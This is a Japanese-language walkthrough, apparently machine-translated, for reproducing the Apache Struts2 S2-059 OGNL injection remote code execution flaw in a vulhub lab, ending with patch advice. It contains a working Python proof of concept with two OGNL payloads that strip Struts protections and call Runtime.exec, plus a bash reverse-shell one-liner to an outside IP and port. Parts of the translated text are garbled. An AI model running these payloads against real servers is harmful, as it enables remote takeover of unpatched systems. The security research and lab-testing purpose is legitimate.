0x00はじめに
Struts2 は、Apache ソフトウェア組織によって開発された非常に強力な Java Web オープン ソース フレームワークであり、本質的にはサーブレットと同等です。 Struts2 は MVC アーキテクチャに基づいており、明確なフレームワーク構造を持っています。通常、モデルとビュー間のデータ対話を確立するためのコントローラーとして使用され、エンタープライズ レベルの Java Web アプリケーションの作成に使用されます。Java サーブレット API を利用および拡張し、開発者に MVC アーキテクチャの採用を奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークのいくつかの利点を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。
0x01 脆弱性の概要
攻撃者は悪意のある OGNL 式を構築し、外部入力によって変更されるように設定すると、OGNL 式が実行されます。 Struts2 タグの変更により OGNL 式の解析がトリガーされ、最終的にはリモート コードが実行されます。
#0x02 影響範囲
Struts 2.0.0 – Struts 2.5.20
0x03 環境設定
1. この脆弱性環境は、vulhub を使用して迅速に構築されます. vulhub のダウンロード アドレスは次のとおりです:
https://github.com/vulhub/vulhub
cd vulhub-master/ struts2/s2-059
2. docker-compose を使用して射撃場環境を迅速に構築する
docker-compose up -d
3. 起動が完了したら、ブラウザで http://ip:8080/?id=1 にアクセスすると、テスト インターフェイスが表示されます
0x04 脆弱性の再発 #1. ブラウザで http://ip:8080/?id=%{88*88} にアクセスすると、実行されたことがわかります。 88*88 は正常に解析され、OGNL 式が実行されます。Struts2 タグの属性値により、OGNL 式の解析がトリガーされます。
2. poc を使用してシェルをリバウンドします。リバウンド シェルのペイロードは、base64
bash -i >& /dev でエンコードする必要があります。 /tcp/172.16. 1.132/9967 0>&1
base64 エンコードされた URL:
元の文はすでにリンクを提供する完全な文です。これを書き直すと、次のようになります。次のようなものになります:
ランタイム exec ペイロードに関する情報を含む Web ページへのリンクは次のとおりです: http://www.jackson-t.ca/runtime-exec-payloads.html.
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
ログイン後にコピー
|
#3. poc 内のペイロードを独自のペイロードに変更し、Python を使用して実行すると、シェルがバウンス
##0x05 修復に関する提案
1. Struts 2.5.22 以降にアップグレードします
2. ONGL 式インジェクション保護対策を有効にします。
https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-攻撃-if-easy-applicable
以上がStruts2 S2-059 リモート コード実行の脆弱性はどのように再現しますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。